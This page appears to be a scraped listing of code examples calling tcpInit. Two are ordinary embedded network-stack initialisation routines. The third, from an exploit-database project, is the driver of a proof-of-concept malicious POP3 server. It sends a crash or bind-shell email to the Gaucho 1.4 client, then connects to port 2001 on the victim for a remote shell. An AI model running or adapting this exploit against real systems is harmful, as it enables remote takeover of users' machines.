C++ (Cpp) tcpInit Examples

Example #1

File: main.c Project: hebron/enc28j60_dspic33

int main()
{
    AD1PCFGL = 0xFFFF;
    TRISB &= ~(1<<8);
    
    SPI_Init();
    uartInit();
    insight_init();

#ifdef ENC28J60_H
    enc28j60Initialize(mac);
#endif
#ifdef ENC624J600_H
    enc624j600Initialize(mac);
#endif
    sram_23lc1024_init();
    arpInit();
    arpAnnounce(mac, ip, gateway);
    ipv4Init();
    udpInit();
    tcpInit();
    //tcpListen(1234, 32, handleConnection);
    icmpInit();
    ntpInit();
    //ntpRequest(ntpServer);

    RtosTaskInit();
    RtosTaskCreate(&ethTask, "Eth", EthernetTask, 5, ethTaskStk, sizeof(ethTaskStk));
    RtosTaskCreate(&ledTask, "LED", LedTask, 1, ledTaskStk, sizeof(ledTaskStk));
    RtosTaskRun();

    while(1);
    return 0;
}

Example #2

File: NET.C Project: lubing521/protocols

/*
 * netInit - Initialize the network communications subsystem.
 */
void netInit(void)
{
	strcpy(hostname, LOCALHOST);

#if PPP_SUPPORT > 0
	user[0] = '\0';
	passwd[0] = '\0';
	our_name[0] = '\0';
	remote_name[0] = '\0';
	explicit_remote = 0;
#endif
	magicInit();
	ipInit();
#if PPP_SUPPORT > 0
	pppInit();
#endif
#if ETHER_SUPPORT > 0
//    etherInit();
#endif

	tcpInit();
#if UDP_SUPPORT > 0
	udpInit();
#endif
}

Example #3

File: 25706.cpp Project: AlexxNica/exploit-database

int main(int argc, char* argv[])
{
	printf("Proof-of-Concept POP3 server for Gaucho Ver 1.4 Vulnerability\n");
	if(argc != 2)
	{
		printUsage(argv[0]);
		return 1;
	}

	int mode = atoi(argv[1]);
	if(mode != 1 && mode != 2)
	{
		printf("\nINVALID MODE!\n");
		printUsage(argv[0]);
		return 1;
	}

	if(!tcpInit())
	{
		printf("Cannot start Winsock!\n");
		return 1;
	}
	SOCKET s = tcpListen(110);
	if(s == INVALID_SOCKET)
	{
		printf("Cannot create listening socket!\n");
		return 1;
	}
	printf("Listening on POP3 port 110...\n");
	
	struct sockaddr_in sin;
	int sin_size = sizeof(sin);
	SOCKET client = WSAAccept(s, (SOCKADDR *)&sin, &sin_size, NULL, 0);
	char buffer[1024];
	int recvSize;

	if(client != INVALID_SOCKET)
	{
		// POP3 banner
		send(client, OK_MSG, strlen(OK_MSG), 0);
		recvSize = recv(client, buffer, sizeof(buffer), 0);
		if(recvSize <= 0)
			return 1;			

		fwrite(buffer, recvSize, 1, stdout);

		// OK to USER
		send(client, OK_MSG, strlen(OK_MSG), 0);
		recvSize = recv(client, buffer, sizeof(buffer), 0);
		if(recvSize <= 0)
			return 1;			

		fwrite(buffer, recvSize, 1, stdout);

		// OK to PASS
		send(client, OK_MSG, strlen(OK_MSG), 0);
		recvSize = recv(client, buffer, sizeof(buffer), 0);
		if(recvSize <= 0)
			return 1;			

		fwrite(buffer, recvSize, 1, stdout);

		// REPLY to STAT
		send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
		recvSize = recv(client, buffer, sizeof(buffer), 0);
		if(recvSize <= 0)
			return 1;			

		fwrite(buffer, recvSize, 1, stdout);
		
		// REPLY to UIDL
		genUIDLreply(UIDL_REPLY);
		send(client, STAT_REPLY, strlen(STAT_REPLY), 0);
		send(client, UIDL_REPLY, strlen(UIDL_REPLY), 0);
		recvSize = recv(client, buffer, sizeof(buffer), 0);
		if(recvSize <= 0)
			return 1;			

		fwrite(buffer, recvSize, 1, stdout);

		// REPLY to LIST
		send(client, STAT_REPLY, strlen(STAT_REPLY), 0);		
		recvSize = recv(client, buffer, sizeof(buffer), 0);
		if(recvSize <= 0)
			return 1;			

		fwrite(buffer, recvSize, 1, stdout);

		if(mode == 1)
		{
			// send malicious email
			send(client, (char *)pocEmail, strlen((char *)pocEmail), 0);			
			printf("POC crash email sent...\n");

			recvSize = recv(client, buffer, sizeof(buffer), 0);
			if(recvSize <= 0)
				return 1;			

			fwrite(buffer, recvSize, 1, stdout);
		}
		else
		{
			// send malicious email
			send(client, (char *)bindShellEmail, strlen((char *)bindShellEmail), 0);
			printf("Bindshell email sent.  Sleeping for 2 seconds...\n");
			Sleep(2000);			

			//================================= Connect to the target ==============================
			SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
			if(sock == INVALID_SOCKET)
			{
				printf("Invalid socket return in socket() call.\n");
				WSACleanup();
				return -1;
			}

			sin.sin_family = AF_INET;
			sin.sin_port = htons(2001);			

			if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
			{
				printf("Exploit Failed. SOCKET_ERROR return in connect call.\n");
				closesocket(sock);
				WSACleanup();
				return -1;
			}
			
			printf("\n");
			shell(sock);
		}
	}

	return 0;
}